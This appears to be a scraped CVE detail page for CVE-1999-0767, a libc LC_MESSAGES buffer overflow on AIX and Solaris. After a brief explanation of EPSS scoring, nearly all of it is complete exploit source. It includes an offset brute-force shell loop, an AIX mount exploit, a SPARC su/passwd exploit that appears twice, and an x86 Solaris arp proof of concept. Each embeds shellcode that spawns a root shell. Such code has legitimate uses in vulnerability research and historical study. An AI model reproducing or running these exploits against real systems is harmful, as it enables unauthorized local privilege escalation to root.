CVE-1999-0767 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/268/info A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges. #!/bin/ksh L=3000 STEP=34 MAX=16000 while [ $L -lt $MAX ] do ./a.out $L L=`expr $L + $STEP` done

// source: https://www.securityfocus.com/bid/268/info A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges. /* AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski ---------------------------------------- DISCLAIMER This program is for educational purpose ONLY. Do not use it without permission. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, his employer or any Internet provider bears NO responsibility for content or misuse of this program or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of this program is not Georgi Guninski's responsibility. In case you distribute this, please keep the disclaimer and my addresses. ----------------------------------------- Use the IBM C compiler. Compile with: cc -g test2.c ----------------- Georgi Guninski [email protected] [email protected] [email protected] http://www.geocities.com/ResearchTriangle/1711 Suggestions,comments and job offers are welcome! 22-Mar-97 */ #include <stdio.h> #include <stdlib.h> #include <string.h> char prog[100]="/usr/sbin/mount"; char prog2[30]="mount"; extern int execv(); char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); putenv(c); return c; } /*The program*/ main(int argc,char **argv,char **env) { /*The code*/ unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; /* disassembly 7c0802a6 mfspr r0,LR 9421fbb0 stu SP,-1104(SP) --get stack 90010458 st r0,1112(SP) 3c60f019 cau r3,r0,0xf019 --CTR 60632c48 lis r3,r3,11336 --CTR 90610440 st r3,1088(SP) 3c60d002 cau r3,r0,0xd002 --TOC 60634c0c lis r3,r3,19468 --TOC 90610444 st r3,1092(SP) 3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01' 6063696e lis r3,r3,26990 90610438 st r3,1080(SP) 3c602f73 cau r3,r0,0x2f73 60636801 lis r3,r3,26625 3863ffff addi r3,r3,-1 9061043c st r3,1084(SP) --terminate with 0 30610438 lis r3,SP,1080 7c842278 xor r4,r4,r4 --argv=NULL 80410440 lwz RTOC,1088(SP) 80010444 lwz r0,1092(SP) --jump 7c0903a6 mtspr CTR,r0 4e800420 bctr --jump */ #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int frame[MAXBUF]; unsigned int i,nop,mn; int max; int QUIET=0; int dobuf=0; char VAR[30]="LC_MESSAGES"; unsigned int toc; unsigned int eco; unsigned int *pt; char *t; int egg=1; int ch; unsigned int reta; /* return address */ int corr=4604; char *args[4]; char *newenv[8]; int justframes=1; int startwith=0; mn=78; max=100; if (argc>1) corr = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { perror("Bad parameters"); exit(1); } #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff); reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr; for(nop=0;nop<mn;nop++) buf[nop]=startwith ? reta : 0x4ffffb82; /*NOP*/ strcpy((char*)&buf[nop],(char*)&code); i=nop+strlen( (char*) &code)/4-1; if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000) || !(reta && 0xff000000)) { perror("Return address has zero");exit(5); } while(i++<max) buf[i]=reta; buf[i]=0; for(i=0;i<max-1;i++) frame[i]=reta; frame[i]=0; if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);}; puts("Start...");/*Here we go*/ newenv[0]=createvar("EGGSHEL",(char*)&buf[0]); newenv[1]=createvar("EGGSHE2",(char*)&buf[0]); newenv[2]=createvar("EGGSHE3",(char*)&buf[0]); newenv[3]=createvar("EGGSHE4",(char*)&buf[0]); newenv[4]=createvar("DISPLAY",getenv("DISPLAY")); newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame : (char*)&buf):NULL; newenv[6]=NULL; args[0]=prog2; execve(prog,args,newenv); perror("Error executing execve \n"); /* Georgi Guninski [email protected] [email protected] [email protected] http://www.geocities.com/ResearchTriangle/1711 */ }

/* source: https://www.securityfocus.com/bid/268/info A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges. */ /*============================================================ ex_lobc.c Overflow Exploits( for Sparc Edition) The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551) Written by UNYUN ([email protected]) offsets for 2.7/SPARC: 7144, 7152, 7160, 7168, and more... offset for 2.6/SPARC: 5392 ============================================================ */ #define EV "LC_MESSAGES=" #define ADJUST 0 #define STARTADR 400 #define NOP 0xa61cc013 #define RETS 600 char x[80000]; char exploit_code[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2b\x0b\xda\xdc\xae\x15\x63\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c" "\x94\x10\x20\x10\x94\x22\xa0\x10" "\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; unsigned long get_sp(void) { __asm__("mov %sp,%i0 \n"); } int i; unsigned int ret_adr; main(int argc, char *argv[]) { int OFFSET; putenv("LANG="); memset(x,'x',70000); if (argc == 2) OFFSET = atoi(argv[1]); else OFFSET = 5392; // default offset for 2.6 for (i = 0; i < ADJUST; i++) x[i]=0x40; for (i = ADJUST; i < 1000; i+=4){ x[i+3]=NOP & 0xff; x[i+2]=(NOP >> 8 ) &0xff; x[i+1]=(NOP >> 16 ) &0xff; x[i+0]=(NOP >> 24 ) &0xff; } for (i=0;i<strlen(exploit_code);i++) \ x[STARTADR+i+ADJUST]=exploit_code[i]; ret_adr=get_sp()-OFFSET; printf("jumping address : %lx, offset = %d\n",ret_adr, OFFSET); if ((ret_adr & 0xff) ==0 ){ ret_adr -=16; printf("New jumping address : %lx\n",ret_adr); } for (i = ADJUST+RETS; i < RETS+600; i+=4){ x[i+3]=ret_adr & 0xff; x[i+2]=(ret_adr >> 8 ) &0xff; x[i+1]=(ret_adr >> 16 ) &0xff; x[i+0]=(ret_adr >> 24 ) &0xff; } memcpy(x,EV,strlen(EV)); x[3000]=0; putenv(x); execl("/bin/rsh","su",(char *)0); }

// source: https://www.securityfocus.com/bid/268/info A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges. #include <fcntl.h> /* arpexp.c arp overflow proof of concept by [email protected] shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Except for shellcode, copyright Security-Focus.com, 11/2000 */ long get_esp() { __asm__("movl %esp,%eax"); } int main(int ac, char **av) { char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff" "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46" "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0" "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52" "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff" "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08" "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b" "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8" "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f" "\x73\x68\xff\xff\xff\xff\xff\xff\xff" "\xff\xff"; unsigned long magic = 0x8047b78; unsigned long r = get_esp() + 600; unsigned char buf[300]; int f; if (ac == 2) r += atoi(av[1]); memset(buf,0x61,sizeof(buf)); memcpy(buf+52,&magic,4); memcpy(buf+76,&r,4); f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600); write(f,"1 2 3 4 ",8); write(f,buf,sizeof(buf)); close(f); memset(buf,0x90,sizeof(buf)); memcpy(buf,"LOL=",4); memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell)); putenv(buf); system("/usr/sbin/arp -f /tmp/ypx"); unlink("/tmp/ypx"); }

/* source: https://www.securityfocus.com/bid/268/info A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges. */ /*============================================================ ex_lobc.c Overflow Exploits( for Sparc Edition) The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551) Written by UNYUN ([email protected]) ============================================================ */ #define EV "LC_MESSAGES=" #define ADJUST 0 #define OFFSET 5392 #define STARTADR 400 #define NOP 0xa61cc013 #define RETS 600 char x[80000]; char exploit_code[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2b\x0b\xda\xdc\xae\x15\x63\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c" "\x94\x10\x20\x10\x94\x22\xa0\x10" "\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; unsigned long get_sp(void) { __asm__("mov %sp,%i0 \n"); } int i; unsigned int ret_adr; main() { putenv("LANG="); memset(x,'x',70000); for (i = 0; i < ADJUST; i++) x[i]=0x40; for (i = ADJUST; i < 1000; i+=4){ x[i+3]=NOP & 0xff; x[i+2]=(NOP >> 8 ) &0xff; x[i+1]=(NOP >> 16 ) &0xff; x[i+0]=(NOP >> 24 ) &0xff; } for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i]; ret_adr=get_sp()-OFFSET; printf("jumping address : %lx\n",ret_adr); if ((ret_adr & 0xff) ==0 ){ ret_adr -=16; printf("New jumping address : %lx\n",ret_adr); } for (i = ADJUST+RETS; i < RETS+600; i+=4){ x[i+3]=ret_adr & 0xff; x[i+2]=(ret_adr >> 8 ) &0xff; x[i+1]=(ret_adr >> 16 ) &0xff; x[i+0]=(ret_adr >> 24 ) &0xff; } memcpy(x,EV,strlen(EV)); x[3000]=0; putenv(x); execl("/bin/passwd","passwd",(char *)0); }